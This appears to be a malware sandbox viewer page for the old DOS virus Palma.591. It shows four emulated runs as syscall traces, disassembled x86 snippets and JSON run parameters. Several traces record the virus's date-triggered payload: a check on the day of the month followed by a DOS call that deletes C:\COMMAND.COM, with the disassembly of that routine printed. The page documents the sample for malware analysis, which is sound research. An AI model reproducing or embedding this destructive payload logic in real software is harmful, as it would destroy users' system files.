Sample viewer

vx.netlux.org/Virus.DOS.Palma.591

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:41:42.587643401Z 42 PC: 13e61 | Get date 0x13e61: cmp dl, 0xf
0x13e64: jb 0x13e74
0x13e66: cmp dl, 0x12
0x13e69: jae 0x13e74
0x13e6b: mov ah, 0x41
0x13e6d: mov dx, 0x333
0x13e70: add dx, bp
0x13e72: int 0x21
0x13e74: push di
0x13e75: jmp 0x13e78
0x13e77: nop
0x13e78: mov byte ptr ds:[bp + 0x142], 0xc3
0x13e7e: nop
0x13e7f: pop di
0x13e80: mov byte ptr ds:[bp + 0x142], 0x90
0x13e86: mov ah, 0x19
0x13e88: int 0x21
0x13e8a: mov byte ptr ds:[bp + 0x349], al
0x13e8f: mov dl, 4
0x13e91: mov byte ptr ds:[bp + 0x348], dl
2018-12-17T22:41:42.591209558Z 65 PC: 13e74 | Delete file (Filename = 'C:\COMMAND.COM')
2018-12-17T22:41:42.942394639Z 0 PC: 140ce | Program terminate

{"DateBased":true,"Day":15,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7306,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:01:20.668805831Z 42 PC: 13e61 | Get date 0x13e61: cmp dl, 0xf
0x13e64: jb 0x13e74
0x13e66: cmp dl, 0x12
0x13e69: jae 0x13e74
0x13e6b: mov ah, 0x41
0x13e6d: mov dx, 0x333
0x13e70: add dx, bp
0x13e72: int 0x21
0x13e74: push di
0x13e75: jmp 0x13e78
0x13e77: nop
0x13e78: mov byte ptr ds:[bp + 0x142], 0xc3
0x13e7e: nop
0x13e7f: pop di
0x13e80: mov byte ptr ds:[bp + 0x142], 0x90
0x13e86: mov ah, 0x19
0x13e88: int 0x21
0x13e8a: mov byte ptr ds:[bp + 0x349], al
0x13e8f: mov dl, 4
0x13e91: mov byte ptr ds:[bp + 0x348], dl
2018-12-25T12:01:20.670594867Z 65 PC: 13e74 | Delete file (Filename = 'C:\COMMAND.COM')
2018-12-25T12:01:21.020727017Z 0 PC: 140ce | Program terminate

{"DateBased":true,"Day":19,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7306,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:01:21.147505695Z 42 PC: 13e61 | Get date 0x13e61: cmp dl, 0xf
0x13e64: jb 0x13e74
0x13e66: cmp dl, 0x12
0x13e69: jae 0x13e74
0x13e6b: mov ah, 0x41
0x13e6d: mov dx, 0x333
0x13e70: add dx, bp
0x13e72: int 0x21
0x13e74: push di
0x13e75: jmp 0x13e78
0x13e77: nop
0x13e78: mov byte ptr ds:[bp + 0x142], 0xc3
0x13e7e: nop
0x13e7f: pop di
0x13e80: mov byte ptr ds:[bp + 0x142], 0x90
0x13e86: mov ah, 0x19
0x13e88: int 0x21
0x13e8a: mov byte ptr ds:[bp + 0x349], al
0x13e8f: mov dl, 4
0x13e91: mov byte ptr ds:[bp + 0x348], dl
2018-12-25T12:01:21.150484698Z 42 PC: 140ce | Get date 0x140ce: mov dx, 0x996a
0x140d1: call 0x1941e
0x140d4: push ds
0x140d5: mov ax, 0x43b
0x140d8: mov dh, 0xff
0x140da: call 0x19515
0x140dd: mov cx, 0x4e59
0x140e0: jb 0x140e4
0x140e2: mov cx, word ptr [si]
0x140e4: pop ds
0x140e5: mov ah, 8
0x140e7: int 0x21
0x140e9: test al, al
0x140eb: jne 0x140fd
0x140ed: mov ah, 8
0x140ef: int 0x21
0x140f1: cmp al, 0x3f
0x140f3: jne 0x140e5
0x140f5: or byte ptr es:[0x531], 0x40
0x140fb: jmp 0x140ab
2018-12-25T12:01:21.153920285Z 64 PC: 19838 | Write file or device (Write 32 bytes on handle 2)
2018-12-25T12:01:21.156885534Z 64 PC: 19838 | Write file or device (See above)
2018-12-25T12:01:21.160311468Z 100 PC: 19d8b | Set wait for external event flag

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7306,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:01:21.163051379Z 42 PC: 13e61 | Get date 0x13e61: cmp dl, 0xf
0x13e64: jb 0x13e74
0x13e66: cmp dl, 0x12
0x13e69: jae 0x13e74
0x13e6b: mov ah, 0x41
0x13e6d: mov dx, 0x333
0x13e70: add dx, bp
0x13e72: int 0x21
0x13e74: push di
0x13e75: jmp 0x13e78
0x13e77: nop
0x13e78: mov byte ptr ds:[bp + 0x142], 0xc3
0x13e7e: nop
0x13e7f: pop di
0x13e80: mov byte ptr ds:[bp + 0x142], 0x90
0x13e86: mov ah, 0x19
0x13e88: int 0x21
0x13e8a: mov byte ptr ds:[bp + 0x349], al
0x13e8f: mov dl, 4
0x13e91: mov byte ptr ds:[bp + 0x348], dl
2018-12-25T12:01:21.166119507Z 42 PC: 140ce | Get date 0x140ce: mov dx, 0x996a
0x140d1: call 0x1941e
0x140d4: push ds
0x140d5: mov ax, 0x43b
0x140d8: mov dh, 0xff
0x140da: call 0x19515
0x140dd: mov cx, 0x4e59
0x140e0: jb 0x140e4
0x140e2: mov cx, word ptr [si]
0x140e4: pop ds
0x140e5: mov ah, 8
0x140e7: int 0x21
0x140e9: test al, al
0x140eb: jne 0x140fd
0x140ed: mov ah, 8
0x140ef: int 0x21
0x140f1: cmp al, 0x3f
0x140f3: jne 0x140e5
0x140f5: or byte ptr es:[0x531], 0x40
0x140fb: jmp 0x140ab
2018-12-25T12:01:21.170291996Z 64 PC: 19838 | Write file or device (Write 32 bytes on handle 2)
2018-12-25T12:01:21.173740809Z 64 PC: 19838 | Write file or device (See above)
2018-12-25T12:01:21.176750688Z 100 PC: 19d8b | Set wait for external event flag